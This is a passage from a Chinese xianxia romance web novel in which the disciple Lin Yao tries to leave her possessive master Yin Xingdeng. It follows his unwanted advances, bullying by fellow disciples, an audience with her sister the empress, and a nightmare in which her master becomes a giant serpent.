堂堂琅嬛少祭司,坐地上托腮想了半天,最后一拍脑门:“我悟了!我肯定是需要找个对象了,想我现在已经十七了,虚岁都十八了,转眼二十,再眨眼都半截子入土的人了,是该考虑终身大事了,正所谓有主的干粮碰不得,我给自个儿嫁出去,那该死的阴桃花劫岂不是不攻自破!”
裴暮雪毫不客气地冷笑几声:“少祭司这基本功还真是扎实,看来以后我芙蕖观不愁独立琼宇笑傲天下了,桃花煞选中了你,早已将你视为囊中物、掌中珠,你信不信他现在就在你身边看着呢?”
宫玄烛背后汗毛直竖,噌一下站了起来,疑神疑鬼地环顾四周。
裴暮雪抿了一口早已凉透的茶,殷红的唇色愈发深沉,仿佛带露的芍花:“这边建议找根绳子挂那边的歪脖树上,经济实惠没有痛苦,还能留个全尸。”
宫玄烛心态一向好,开始胡扯八扯:“红线坊的老板跟你什么关系?”
裴暮雪白了她一眼:“反正跟你没关系。”
嗨,还真是守口如瓶啊,八成是小情人儿!
“裴师兄!”
宫玄烛循着这清脆悦耳的声音望过去,远处跑来一杏黄道袍的姑娘,眉黛春山秀,秋水剪瞳明。杏花初带雨,杨柳暗藏莺,说不出的万种风情。周围人挤人都争着抢着一睹芳容,远处惊呼声不断,近处则是敛气屏声,仿佛生怕呼吸声太大惊饶了这位仙子。
这姑娘单看面相,的确是明艳不可方物,一双星眸仿佛会说话似的,但等到真正一张口却又带着一股不谙世事的纯粹,一看就是从小被呵护到大的天真少女。
裴暮雪皱皱眉:“慕容纤,你又擅自离山了,小心我告诉师父。”
姑娘双手叉腰,柳眉倒竖、杏眼圆睁:“我这次可是奉命下山的!”
慕容纤伸手从袖子里取出一个金色小册子,洋洋得意道:“祭祖大典,你去是不去呢?”
裴暮雪看起来一个头两个大了,赔笑道:“去去去,当然去了,这么重要的事怎么能缺席呢。”
他伸手去拿册子,慕容纤却躲开了,小册子让她藏在了背后:“慢着,刚才是谁说我擅自离山,还要告状来着?”
裴暮雪也真是能屈能伸,满脸堆笑:“好师妹,我错了我错了,把名帖给师兄吧,”
慕容纤哼哼一声:“空手套白狼是吧?”
见对方不为所动,裴暮雪一咬牙开始加码:“这样,你随便开一个条件,只要师兄能做到一定义不容辞。”
慕容纤灿然一笑:“这还差不多。”
宫玄烛在一旁看得目瞪狗呆,还真是卤水点豆腐—一物降一物啊,没想到裴暮雪的克星居然是这位姑娘,看来以后得跟她搞好关系,这么想着已经上前搭话了。
“慕容仙子好啊,在下星辰宫弟子宫玄烛,幸会幸会。”
慕容纤见对方品貌不俗,也是笑脸相迎,拱手道:“少祭司好,久闻大名了。”
宫玄烛笑着摆摆手:“哪里哪里,虚名罢了,慕容仙子既然来了,不如去玄都坐坐吧。”
慕容纤眼眸澄亮,樱唇一张还没搭话,一旁裴暮雪早就收拾好了东西,替她回答道:“少祭司好意我们心领了,祭司毕竟家宅不宁,还是下次再叨扰吧。”
该死的裴暮雪!
宫玄烛漫咬银牙,眉眼弯弯,若不是有面纱挡着,这副表情应该很吓人。
“也好也好,裴道长,慕容仙子,再会了。”
15. 瑶瑶快跑
本欲回转星辰宫,不料路上看见了背着包袱的林瑶,宫玄烛好奇极了,这乖乖女一向大门不出二门不迈的,主要是尹星灯管得太严,现在这孤身一人行色匆匆是去哪里?
这都不是太阳打西边出来的事了。
“大师姐!”
林瑶脚步一顿,僵硬地转过身子,看清是宫玄烛后明显松了口气。
宫玄烛愈发好奇,三步并作两步赶上来:“师姐这是去哪里?”
林瑶黯然垂首:“我要离开一段时间了,还希望你能替我保密,若菱儿又惹师父生气了,还请你多多照顾,师姐感激不尽。”
宫玄烛听得心肝乱颤:“离开?你活疯了?好日子过够了?你这一走了之,尹星灯肯定追着我和陌菱刨根问底啊,就他那个德行,三两下问不出来准得抓狂,我俩还活不活了?”
林瑶期期艾艾道:“事出有因,我也别无他法。”
宫玄烛耸耸肩:“关键是你也走不了,你就试试看吧,不出三天老登肯定给你抓回来。”
林瑶微不可察地皱了皱眉,看样子想反驳几句但还是没说出什么,将包袱往肩上一搭是她最后的倔强。
“我真走了。”
宫玄烛敷衍地挥挥手:“一路顺风。”
宫玄烛回到星辰宫两个时辰不到,本来想问尹星灯关于阴桃花的事,谁料正主不在,只能在原地等着,闲得发慌,从墙头揪了一串绿得跟翡翠一样的葡萄喂商羊,那鸟儿嚼得满嘴流绿汤,白眼一翻不省人事了。
正在这时,大门哐当一下被人一脚踹开。
小白花让老壁灯拽回来了!
宫玄烛八卦的眼睛直冒火星子。
尹星灯仿佛没看见宫玄烛,面沉似水,拽着林瑶往正殿走,宫玄烛一来为自己的事操心,二来想替林瑶解围,刚想打个招呼:“师——”
“没空!”
尹星灯先将“逆徒”推进去,随后一甩袖关上了正殿的大门。
门外宫玄烛气得咬牙切齿。
你是真该死啊老壁灯!
北极殿内。
尹星灯看着自始至终一言不发的林瑶,有些无可奈何,斟酌许久倒了两杯茶,收敛了一下怒容,尽量放缓语气:“能跟为师好好谈谈吗?”
林瑶垂着头,漫咬红唇,最后还是决定打开天窗说亮话,语气平静道:“如师父所见,我想离开一段时间。”
尹星灯按在桌面上的手瞬间收紧,盯着林瑶许久,眸中似有火焰跳动,声音冷硬:“你敢再说一遍?”
林瑶脊背挺得笔直,直视着尹星灯,一字一顿:“我说,我要走,特来向师父辞行。”
“我不准!”
桌上茶盏被衣袖扫落,摔得粉碎,茶水溅得到处都是。
尹星灯怒喝一声,又有些后悔,担心自己吓到林瑶,于是背过身去,平复呼吸,沉声道:“瑶儿,为什么想着离开呢?在这星辰宫中可是遇到什么不顺心的事了?”
林瑶:“未曾,弟子只是想离开一段时日,在外面散散心。”
尹星灯满腹狐疑,却不敢多问,回过身来笑意山温水暖:“瑶儿是觉得在玄都待闷了吗?既然如此,为师带你出门游历一番可好?凤城雕梁画栋、流光宗水天一色、龙女岛闻名遐迩,瑶儿想不想去游玩一番?”
林瑶摇摇头,一声不吭。
“再者西北梵净十二峰得天独厚,景色旖旎,为师与其中几位峰主也是故交,瑶儿可想去看看?”
林瑶还是摇头。
“那,瑶儿可愿随为师去洛都参加洛神节?蓝情浅蓝宫主你还记得吧,你十一岁的时候,随为师去过潮汐宫,蓝宫主很是喜欢你呢……或者是雾山魔域,只要瑶儿想去,为师随时奉陪。”
林瑶等他说完,才开口道:“我只想一个人出去走走,仅此而已。”
她特意强调了要“一个人”。
尹星灯的目光像看着一个不听话的孩子:“瑶儿,别再任性了,外面不安全,你孤身一人出去,为师如何放心得下?”
林瑶蛾眉紧蹙,面带愠色,强压着怒火:“我已经长大了,可以保护好自己,再者说了,玄烛都可以独自前往樱都那么危险的地方,为何我只是出去走走,师父从来都不答应?难道要我一辈子待在星辰宫?”
尹星灯似乎有些生气了,语气依旧淡然道:“你们不一样,玄烛背后有整个宫家替她撑腰,再者她任职少祭司,从小混迹官场,处事圆滑、八面玲珑,她出去为师自然放心,可瑶儿你不同,出了星辰宫,事事不由己,为师鞭长莫及,你岂不是要吃亏受难。”
林瑶听他这么说,心下有几分酸涩,但还是坚持最初的想法:“可是,这些我迟早都要经历,师父不可能护着我一辈子。”
天色渐暗,尹星灯回身去点蜡烛,眸中闪过一丝偏执的光芒:“为什么不可以呢?只要有为师三寸气在,便能护你一世无忧。”
林瑶见他总是闪烁其词、不肯直面问题,气得脸色发白,提高了嗓音:“师父,说来说去你就是不肯让我离开,”
她攥紧了拳头,下定了决心:“反正我去意已决,能走一次就能走第二次、第三次,师父要是不嫌麻烦,尽管来找我。”
尹星灯手一抖,烛火险些烧到了一角衣袖,面对钟爱的徒儿,终究是舍不得放狠话,谁知那向来乖巧的徒儿先把狠话撂下了。
尹星灯回眸笑道:“你确定?”
林瑶重重点一下头:“确定!”
尹星灯抬头轻抚下巴,眯细了眸子,随后噙笑道:“既然如此,那就答应为师一件事,为师便应允让你独自去游历,怎么样?”
林瑶心下一喜,以为尹星灯终于松口了,眸光发亮:“什么事?”
尹星灯姣好殷红的薄唇一张一翕,含笑说了四个字,林瑶感觉耳膜在震颤,仿佛一瞬之间失聪了,震得她七荤八素,天旋地转,用复杂的目光看向尹星灯。
“什么?”
尹星灯欺近,长臂一伸将她困在桌案之间,微风徐来,几根垂落的银发拂过林瑶的脸颊,她霎时间面似火烧,那人还火上浇油:“为师说的话你没有听到吗?只要你答应嫁给为师,你想去哪里,去多久都可以。”
疯了?你要不要听听你在说什么?
林瑶侧过头去,磕磕绊绊,声如蚊蚋:“师父莫要再打趣弟子……”
“为师对你是一片真心,若有半分虚情假意,死无葬身之地。”
尹星灯看着她渐渐绯红的脸颊,心下越发欢喜,伸手轻轻绾起她垂落腮边的发丝,顺势用手掌盖住了她的视线,接着双眸微眯,吻上企及已久的娇艳红唇……冰凉……甜软……跟想象中的一样……尹星灯轻叹、阖上微饧的双眼,舌尖轻轻点过那片柔软的花瓣,紧紧抓着林瑶的衣衫仿佛徒握着一个虚无的美梦。
林瑶反应过来猛地推开了他,夺门而逃,只觉得五脏六腑翻江倒海,薄唇轻颤,蹲在树下干呕起来,全身都不自在,寒毛倒竖,怒不可遏,师徒往日相处的每一个细节都变得面目可憎起来。
等那道纯白的身影摇摇晃晃离开之后,尹星灯才从廊柱后走了出来,清俊的脸隐没在浓重的夜色里,扶着栏杆的手越收越紧,手背上青筋暴起,黑暗中传来压抑嘶哑的笑声。
林瑶一连躲了好几天,最终还是在画室让尹星灯给逮住了。
他自身后轻轻环住她的肩,淡淡的酒气萦绕在方寸天地,林瑶心跳如擂鼓,手中衣纹笔一抖,雍容华贵的仕女腮边多了一道黑线……
林瑶眉头跳了跳,有气没地方撒,委委屈屈咬住了嘴唇。
“是为师不
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好,前几日吓到瑶儿了?”
他说着,执起林瑶的右手,在仕女图上那道污损处描补起来,仕女斜前方多了一处花架,萱草影影绰绰,仕女的容貌半遮半掩在花叶之后,那道黑线被他这么一处理,变成了阳光投射在花丛上落在美人脸颊上的一道阴影。
林瑶掷下笔,挣扎着抽出了手,画室里的气氛古怪而压抑。
尹星灯自袖中摸出一只陶瓷罐子,搁在案头:“上品群青,用来画山水再好不过,瑶儿这颜料盒里缺了好几种,怎的不找为师呢?今日天气甚好,不若为师陪你出门走走,顺便再补些颜料。”
“不必了,弟子今日不想出门……”
她低下头,重新铺开了稿纸,尹星灯半晌无语,只好转身离开画室。
林瑶自幼酷爱丹青,且天赋异禀,青出于蓝而胜于蓝,在画道上,他已经没有什么能教她的了。
开了单子,吩咐小童去采买颜料,自己又按捺不住,鬼使神差地回了画室,看到林瑶在洗手,本来也无可厚非,只是恰巧让他联系到了几日前的一个晚上……瞬间怒气上涌。
“林瑶!你在做什么?嫌为师弄脏了你吗?”
林瑶吓了一跳,回过身来连忙解释:“弟子绝非此意,只是自幼喜洁,适才调颜料粘到了手上,这才——”
尹星灯目露不悦,拽着她湿漉漉还没来得及擦干的手就走,一直到了屋子里,他低着头,额头轻轻抵着林瑶眉心,沉声道:“你心里在想什么?可有一时半刻在想我吗?”
林瑶浑身僵硬,不敢动甚至不敢放重呼吸,尹星灯似乎感觉到了她的窘迫,缓缓松开了手,心里越发空落落的,很想抓住点什么,可是林瑶的脸色却明显缓和了许多,她不知是有意还是无意地往后退了退,尹星灯一颗心随着她的动作揪了起来。
“瑶儿……”
他嗓音干涩,缓缓念着她的名字,渴望得到她的注视,哪怕那眸光里有的只是敷衍的尊敬,他感觉自己像是行走在无边无际的黄沙里,林瑶就是可望不可及的海市蜃楼,他知道,往前走只是飞蛾扑火,可是还是义无反顾。
他盯着面前白梅素雪般的人,喉咙越发刺痛,在他所有徒弟里,她看似秉性柔弱,最是心慈面软,却也是最为固执的一个。
他不知道,这般柔弱的躯体,哪来那么大的勇气,车马惊乱之中,她敢抱着行动不便的妇人跪在街心,他惊得魂飞天外,好在有惊无险。
她那时几岁来着?似乎及笄不久,鬓发散乱,颤抖不止,紧闭的眼睫轻轻颤抖,睁开眼看到挡在面前的他时,眼眸澄亮,露出了如释重负的笑意。
那时,他若没有回头,或许就不会弥足深陷。
可是一切冥冥之中早已注定,他知道,她不再是他的徒弟了,是命中最重要之人,无数个夜里,他也垂死挣扎过,可是爱了就是爱了,改不掉、抹不去,一颦一笑就在他眼前,千年道心因她而碎,从未后悔。
如今,他仿佛陷入了更深的梦魇里,他听见自己说话了,嗓音沙哑地仿佛含着发苦的血。
“瑶儿,无情道有什么好?这世间当真没有值得你留恋的吗?”
“我只为自己的心。”
“那为师呢?你对为师当真就没有半分情意?”
尹星灯抓住了她冰冷的手,仿佛抓着最后的救命稻草:“瑶儿,你看看我!我可以为你放弃千年的道业,保你在人间荣华富贵一生,你别再求所谓的大道无情了,成神有什么好?你难道想永生永世孤苦伶仃吗?”
林瑶:“昨贫今富人劳碌,春荣秋谢花折磨。富贵安逸非林瑶所愿,郎情妾意更非我所求——”
尹星灯打断她,冷笑道:“林瑶,这不过是你拒绝我的借口罢了,你才多大的年纪?为师不信你已经看破了红尘,我们走着瞧。”
16. 欲戴王冠,必承其重
自从上次不辞而别被尹星灯光天化日从外面拽回来,林瑶就发现星辰宫的气氛有些怪怪的,藏书阁里本来有两三个师妹在挑书,她一进去那几人就推推搡搡、挤眉弄眼,不一会儿全走干净了。
琴室里人声鼎沸,距离授课还有一段时间,弟子们叽叽喳喳不知在聊些什么。
“不愧是宫里出来的,倒是得了几分真传,这手欲拒还迎玩得倒是纯熟。”
“到底真的假的?不太可能吧?”
“我亲眼所见!两人独处一室,也不知道做什么了……”
林瑶推门进去,立刻鸦雀无声,个个偷眼看她,林瑶轻轻一笑,边收拾桌面边随口问道:“聊什么呢这么开心?”
不出意外地没人理她,不多时尹星灯进来了,琴室重归平静,一众弟子个个坐得笔直,尹星灯果然是先看向了林瑶,朝她微微一笑,林瑶连忙垂下了眼,明明自己没有做错什么,却意外地有些心虚,手心里起了一层汗。
尹星灯正色,背着手在室内缓缓踱步:“前几日为师布置的那首叠翠,不知各位练习的怎样了?”
此话一出个个如坐针毡,垂低了脑袋,生怕被师父忽然抽到。
“呵,那好,为师随便点一个人打个样吧。”
众弟子仿佛等待死亡之刃落在脖颈上的刑犯,个个面如土色,似乎连呼吸都会加重自己被抽中的概率,连大气都不敢喘了。
尹星灯的眸光在众弟子间转了一圈,最终落在白衣如雪的少女身上,她居然还敢发呆,怔怔望着窗外的如盖海棠、冉冉芭蕉。
“林瑶。”
她吓了一激灵,但反应也算快,答了个“是”字,刚一抬手,眸光微怔,这手滞在了半空,没有落下去。
尹星灯也是心下起疑,林瑶素来勤奋,别说布置一首曲子,就算三首她都能倒弹如流,今天这是……
走近一看才知原委,林瑶那把琴不知何时断了一弦,过堂风一吹,那根琴弦飘飘摇摇,如同扯断的风筝线。
林瑶也是一头雾水,昨天晚上她还调过琴弦,怎的今日就断了?心里这般思索着,嘴上连忙道歉:“师父,林瑶知错。”
尹星灯有规定在先,星辰宫弟子上课之前得先准备好应用之物,进琴室前检查好琴,入画室后调好颜料,不可懈怠。
室内窃窃私语声搅得尹星灯心烦意乱。
几个坐在林瑶身后的女弟子交头接耳。
“她琴弦断了……按宫规不是要出去罚站吗?”
“那可是林瑶,师父的得意弟子,怎么舍得让她去罚站?”
“凭什么啊……”
“肃静。”
尹星灯一发话室内立刻安静如鸡。
如今众目睽睽,尹星灯想袒护都不行,总不能朝令夕改,搬起石头砸自己的脚,负手而立,冷声道:“出去,这堂课你不用听了。”
林瑶起身离座,微微朝他一拱手,乖乖退了出去,玉面绯红,低头咬着唇,感觉眼前模糊一片,立刻仰起头望着天边浮云,不让眼泪掉下来,心里不停安慰自己。
本来就是你的错啊,有什么可委屈的。
一个时辰过去,尹星灯从琴室出来后,弟子们才陆陆续续离开,几个女弟子手挽手并排从廊檐下走过来,不知是不是不小心,撞了林瑶一下,她本就精神恍惚,这一下差点摔倒。
“哟,不好意思啊师姐,你好好地站这儿干什么?哦,忘了,大师姐刚才被师父罚站了,瞧瞧我这记性。”
“你!”林瑶心中怒气上涌,看着那三人远去的背影,终究还是没说什么,轻轻吸了口气。
君子无德怨自修,事情闹大了反而对我更不利。
这样想着,她穿过林荫小路打算出门走走,午后十分安静,无人打扰,漾月池上芙蓉堆累、碧浪千顷,立在池边静静看了一会儿,又勾起了她作画的心思,将上午的委屈忘了大半儿,返回画室准备拿画布和颜料,一桶液体劈头盖脸泼了过来,林瑶下意识拿手去挡,觉得衣袖沉甸甸地往下坠,睁眼一看,衣服上花红柳绿全是颜料,面前站着几个女弟子。
“不好意思啊师姐,没看到你过来,哎呦,衣服都弄脏了,要不脱下来我帮你洗洗?”
“无妨……”
林瑶转身才走出去几步,听得真而切真。
“你胆子可真大,万一她去跟师父告状怎么办?你可吃不了兜着走。”
“哼,谁怕谁啊,她自己心里有鬼,才不敢戳破这层窗户纸呢,事情闹大了看看谁会身败名裂。”
“林瑶?我的天,你怎么呢?掉染料缸里了?”
林瑶走在路上魂不守舍,听到对面有人说话吓得一激灵,看到迎面而来的宫玄烛有些不知所措,微微扯动嘴角,笑的比哭的还难看:“出了点意外……”
一件外袍披到了她身上,对方拍一下她的肩膀:“慢走不谢啊,好人好事投我一票就行。”
“玄烛……”林瑶心中仿佛打翻了五味瓶,正想说些什么,那人已经大步流星地离开了。
她释然一笑,遥望着那道远去的玄衣身影,这个世间有人落井下石,有人隔岸观火,但也有人洒脱不羁、因果福祸只做等闲看,曾几何时尹星灯也说过,宫玄烛的心境、悟性连他这当师父的也窥不破,虽然修为远不及他,但心境恐怕足以比肩化羽修士。
何时我也能心如止水,八风吹不动,端坐紫金莲呢?
林瑶回房间换好衣服,将自己被颜料污染的白衣在院子里付之一炬,宫玄烛那件外袍却不愿烧掉,虽然对方肯定不差这件衣服。
鲛绡不同于寻常布料,沾上颜料极难清洗,林瑶双手浸在冷水中泡得发红,小心翼翼洗了好久却仍然效果不佳,刚想拿刷子去刷洗一下,冷不防双手被身后一人紧紧握住,温热的呼吸喷洒在她脸上。
“你在做什么?就因为上午罚了你,你便这般不爱惜自己,这双手要是冻坏了,岂不是为师的罪过?”
“师父,您先放开……”林瑶不由自主望向了敞开的院门,生怕被别人看到。
感觉到她的挣扎,尹星灯搂得更紧,半开玩笑半是认真道:“怕什么?你我之间更亲密的事都做过了还怕这个?还是说瑶儿害羞了?”
林瑶只觉得一口气上不来,身子微微晃了晃,若不是尹星灯抱着,她可能会摔倒在地,眼泪哗一下漫出眼眶,尹星灯见状吃惊非小,意识到玩笑开得过火了,手忙脚乱去给她擦眼泪,林瑶挣开他退出了好远,心里越发寒冷,看看这间院子,这座如同牢笼般的星辰宫,意识到,这地方不能再待下去了。
这次,就算不是为了陌菱,她也必须要走。
她不想伤害到别人,但也想保护好自己不受别人的伤害。
“瑶儿,为师不是故意的,你能原谅为师吗?”
尹星灯还站在原地,像个做错事的孩子,可怜又可恨。
林瑶想快点打法他走,摇摇头,三两下抹干净自己的脸:“我没事了……”
“真的吗?瑶儿,你今天很不对劲,琴是怎么回事?这衣服又是怎么回事?”
“没什么,琴是年久失修,衣服是我不小心弄脏的,师父,天色已晚,您留在这里恐怕不妥,有什么事明天再说吧。”
林瑶疲惫至极,练上两个时辰的剑都不会这么累。
尹星灯正欲说些什么,看向林瑶的目光忽然一颤,几乎是脱口而出:“瑶儿,你这心境似乎又进益了。”
林瑶也是一愣,万万没想到升阶来的这么突然。
尹星灯心里也是高兴:“把手伸出来,为师替你看看。”
关乎修行大事,林瑶也不再顾及许多,果然伸出了手,尹星灯握了她左手寸关尺脉,认真查看一遍后,微微噙笑:“果然如此,修为进阶慕雅初期,心境进升至[君子无德],我的瑶儿,最近可是受什么打击了?”
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>“未曾……”
见林瑶抽回了手,尹星灯也不恼,依旧微微含笑,眸光不乏赞许之色:“瑶儿近来修行很是刻苦,为师深感欣慰,不过呢,修行一事最忌急功近利,一切顺其自然就好。”
林瑶见他忽然讲起了修仙一道,一边听得认真一边乖乖应是。
尹星灯眸色微动,夹杂些许狡黠,忽然道:“入道不难,难在证道,其实为师觉得,以瑶儿的心性、资质,更适合修逍遥道,你说呢?”
林瑶果断摇摇头,一脸坚定:“弟子还是想入无情道。”
尹星灯连忙道:“无情道修行不益,古往今来失败的案例比比皆是,远的不说,近的就有莘梓夏、湛轻尘等辈,前车之覆后车之鉴,你何苦执着于此道?”
林瑶反驳道:“可是潮汐宫的蓝情浅前辈不就成功了吗?”
尹星灯有些头疼:“那只是个例,万中无一。”
林瑶点点头,小声道:“焉知我不是下一个个例。”
两人聊到此处,小仙童匆匆忙忙进来,给尹星灯深施一礼,急忙转向林瑶:“大师姐,娘娘懿旨传您即刻入宫,车驾已经在外面等候了。”
林瑶见状连忙随小仙童往外面走。
尹星灯在后面忙嘱咐道:“乖徒,路上小心,为师跟你说的一定要好好考虑啊!”
星辰宫离皇宫并不远,一盏茶的功夫便到了,林瑶由宫人引着很快到了桐华宫,通报之后才得以进去。
林瑶很快发现了不对劲之处,皇后宫中似乎有些阴气森森,她的修为刚提升了一个境界,感官似乎也更为敏锐了。
幔帐层层掀开,林瑶见到了雍容华贵的长姐,也是当今的皇后,立刻屈膝下拜,皇后急忙令人扶起。
“瑶儿来了,快坐,这里没有外人,自家姐妹不必拘束。”
皇后身怀六甲,所以去了簪环首饰,发髻松松挽着,小腹高高隆起,她斜倚在芙蓉榻上,腰后垫了三四个软枕,脸色有几分蜡黄。
林瑶谢座之后有些惭愧:“本应早些来觐见娘娘的,谁知琐事烦乱竟然耽误了,还望娘娘恕罪。”
皇后轻叹道:“修仙一途清苦异常,你自然也是不容易的……国师待你如何?”
说者无心听者有意,林瑶不由得心跳加速,一抹红晕自脖颈蔓延上来,急忙道:“师父平时自然很是关心我……”
就是有些关心过头了。
皇后轻轻一笑,笑意却不达眼底。
林瑶察言观色,试探着问道:“娘娘,观您神色萎靡,可是凤体欠安?”
皇后长叹一声,示意左右推下,宫女依次出去关上了殿门。
皇后神色忧郁:“既然你看出来了,我也就照直说了,这次传你入宫其实也是为这事,你身为国师的弟子,想必也能帮我解惑。”
林瑶连忙道:“娘娘请讲,有用得着林瑶的地方,林瑶定赴汤蹈火。”
皇后直直看着她,幽暗的眸光仿佛两道深不见底的漩涡:“瑶儿,你会扶乩请仙吗?”
林瑶摇摇头:“娘娘恕罪,林瑶资历尚浅,虽然也跟师父学过此道,却未曾亲身试验过,恐怕不能胜任,敢问娘娘可是遇到什么棘手之事了?”
皇后沉默良久:“这可如何是好……”
林瑶想了想:“娘娘若要扶乩请仙,不若宣少祭司进宫。”
“宫三小姐?她,可靠吗?”
林瑶点点头:“林瑶可以作担保,此人虽放荡不羁确有真才实学,娘娘若有意,林瑶可去先与她交涉。”
皇后默然良久,不自觉摆弄着一串玉珠:“再说罢……”
林瑶轻咬下唇,踌躇片刻还是开口问道:“娘娘,您身怀有孕,还是要多保重身体,若是有了烦心事可与林瑶说说,林瑶定守口如瓶。”
皇后感激地看了她一眼,到底是同胞姐妹,除了她在这深宫里再无第二个可信之人。
……
17. 有被为师感动到吗
两个时辰后,林瑶脚步虚浮地出了桐华宫,暮色渐和,几点残星悬在天边,一线晚霞犹堆叠在山顶,似乎一眨眼就会消失。
宫墙之上绘了不少壁画,据说是三百年前的古人所作,纵使有专人打理,壁画还是剥落侵蚀了许多,今日这些都是当代人描补上去的,看着不尽人意。
林瑶驻足在天龙八部前看了许久,正出神间忽听一声轻咳。
接着是尖细的嗓音喊喝一声:“大胆!见了贵妃娘娘何不下拜?”
林瑶侧目看去,宫灯摇曳,宫女太监簇拥着一宫装美人正款款行来,那美人面若桃李,银红色山河社稷裙熠熠生辉,眉梢眼角虽然挂着笑意却不达眼底,那笑容如同冰水直渗入人的骨子里。
林瑶回首微微欠身施礼,恭敬却不谦卑:“星辰宫弟子林瑶,见过贵妃娘娘。”
苏贵妃盯着面前白衣如雪的少女,微微颔首,朝身边太监使个眼色。
大太监会意立刻斜乜起两只死鱼眼,满脸褶子堆叠在一起,仿佛一尊巡海夜叉,手中拂尘冲林瑶一指大放厥词。
“大胆道姑!居然敢冒犯贵妃娘娘!”
说着两个宫女已经撸胳膊挽袖子、瞪着眼睛冷笑着围堵上来,一左一右抓住了林瑶的手臂。
林瑶倒也不惧,按理来说制服几个凡夫俗子易如反掌,可是毕竟是在宫里,一来要顾及长姐,二来要顾及尹星灯,她思索片刻仰起脸问道:“敢问贵妃娘娘,林瑶是哪里得罪了您?”
那领头的大太监嗓音尖细,颐指气使道:“大胆刁民!还敢大言不惭,你可知你冒犯了贵妃娘娘的名讳!”
说着这老太监面色一转,仿佛变戏法似的,满脸堆笑讨苏贵妃的示下,苏贵妃将脖子仰得高高的,拿鼻孔对着人,眼皮微微阖了一下。
那大太监立刻转过头来,恢复了黑如锅底的脸色,手中拂尘一甩指向林瑶:“咱家恕个罪说,贵妃娘娘名讳里就有瑶字,你屡次冒犯,该当何罪!”
林瑶听了缘由简直气不打一处来,嘴角勾起一丝冷笑:“普天之下叫林瑶、苏瑶的也太多了些,贵妃娘娘还要贴出告示让大家全改名不成!”
“说得好!”
此时天已经完全黑透了,两侧宫灯都亮了起来,空旷宫道中忽然传出一个男人的声音,惊得双方都向后看去,只见暮色苍茫中逐渐走出一人来,身高八尺有余,暗紫色长袍垂曳及地,拖尾上星纹流转、银光如水,宝蓝底银丝窄抹额勒过额头,束着如悬泉瀑布般垂泻近膝的银发,观其面容,清贵中投射出拒人千里之外的冷寂,独独望向林瑶时冰河解冻、春风化雨。
苏贵妃压下眼底的惊艳,嘴角勾起一丝冷笑:“国师大人,深夜进宫恐有不妥吧?”
虽然是质问的话,但语调稍显柔和,俨然没有责问林瑶时那般咄咄逼人。
尹星灯只顾看着林瑶,当然那两个宫女早就吓得松开了手。
“瑶儿,怎的耽误这么久?事情都办妥了就随为师回去吧。”
林瑶再不好多说什么,点点头随着尹星灯往外面走去,身后传来苏贵妃尖锐刺耳的声音。
“尹星灯!你如此无视宫规,冒犯本宫,莫非是恃才傲物,觉得陛下不会降罪于你?”
眼看着那两人的身影渐渐远去,苏贵妃的脸越涨越红,羞愤交加,血色几欲破皮而出,玉手死死绞着手里的鲛绡手帕,浑身颤抖。
大太监立刻献殷勤,连声劝慰道:“娘娘息怒,尹国师是开国功臣,辅佐历代帝君——”
“闭嘴!”
苏贵妃一对削肩微微颤动,几乎咬碎了银牙,目光死死盯着那师徒二人离去的方向:“动不了尹星灯,难道本宫还收拾不了那个林瑶吗?走着瞧。”
想了想她又嗤笑道:“那个尹星灯,不过是陛下养的一条狗,君要臣死,他还能忤逆犯上不成?”
大太监不敢再搭话,心道:他还真的会,当今陛下小时候被国师指着鼻子骂,琅嬛没墨玉沉可以,没尹星灯一天都不行,这国师一个不高兴转头就奔别的地方去了,岂不是要了琅嬛人的命?
尹星灯在前面走着,林瑶在后面跟着,出了宫门后道路昏暗,林瑶连忙祭出本命法器照亮,尹星灯微微弯起嘴角。
“魂灯是让你这么用的?”
林瑶心道:我天天这么用,拿它照亮比蜡烛好多了。
“师父这么晚进宫可是陛下传召吗?”
“你猜。”
林瑶无比真诚:“我猜不到。”
尹星灯在心底叹了口气,当初给林瑶起名字没起对,害她现在像个小木头,要是取成灵瑶就好了,定是乖巧又机灵的。
面对这种不开窍的人,当然得用非常手段,于是义正词严、斩钉截铁道:“为师自然是为了你,进宫许久未归,为师放心不下,瑶儿有被为师感动到吗?”
身后许久没发出动静,半晌才听得一句细弱蚊蚋的“有劳师父挂念”,林瑶轻轻吸了口气,似乎是咬到了舌头。
“这就完了?”
林瑶猛一抬头,见尹星灯停住了脚步,继而转过身来,她也只好停下。
“瑶儿,时辰还早,我们去那边坐坐吧,为师为了等瑶儿,可是晚饭都没吃呢。”
这么一说林瑶自然不好拒绝,总不能说:夜宵吃多了影响身体健康,少吃一顿无伤大雅。
唯唯诺诺跟着尹星灯上了朱红小楼,临窗坐下,二楼雅阁窗户半开半合,清风徐来泛起丝丝凉意。
林瑶心事重重,想着皇后的病症暗自出神,也没注意尹星灯点了些什么菜,过了大概一盏茶时间,菜肴陆陆续续上齐了,三五碟小菜摆满了桌子,倒都是林瑶素日爱吃的,中间一个陶瓷罐盖着盖子,小孔里徐徐冒着热气,大概是一盅什么汤。
林瑶站起身来,微微俯身拿着干净的棉布掂着陶罐的盖子,轻轻掀起搁置一边,拿起汤勺替师父盛了一碗,随着瓷勺里的白汁浓汤渐渐滑入汤碗之中,勺子里有一团白花花的东西噗呲一下滚落碗里,在勺子里是一团,跌进碗里可就散开了,又白又细又长的一条……林瑶左手哗啦一抖,手中汤碗跌落摔在地上粉粉碎,那里面的东西看得更加真切,一条小蛇……煮得发肿发烂……仿佛一截炖坏的萝卜……
林瑶一转身忍不住干呕起来,直吐得搜肠刮肚、面红耳热,回首就见尹星灯正笑眯眯地望着她:“瑶儿这是怎么呢,一碗蛇羹而已,怎么吓成这样了?”
林瑶见他从容不迫,从陶罐里又舀起一勺汤来……林瑶简直不敢再往下看,刚眨了一下眼,她就整个人僵住了,对面坐着的还哪里是师父,居然是一条大快朵颐的黑紫色蟒蛇,尖尖的三角脑袋足有水桶大小,脑袋上是一条条银白色的暗纹,值得注意的是它脖颈处还裹着暗紫色的星纹长衫……
这。
师父是妖?还是说,今天来接我的人根本不是师父?
林瑶腿已经软了,大脑失去了思考的能力,眼睁睁看那条巨蟒慢慢抬起头,金色的竖瞳望向自己,她却连拔腿就跑的力气都没有。
那条蛇好像是在笑,嘴角渐渐咧开,忽然之间脑袋升高三尺之多,它站起来了,几乎顶满了整个房间,紫色长尾逶迤拖地,摇摇晃晃朝林瑶游弋过来。
“瑶儿!瑶儿!”
耳畔传来忽远忽近的呼唤声,眼前骇人的景象如同破碎的镜子哗然幻灭,林瑶猛一睁眼,烛火昏暗中看到眼前一张放大的人脸,熟悉的眉眼、绛紫色衣衫……
“啊!”
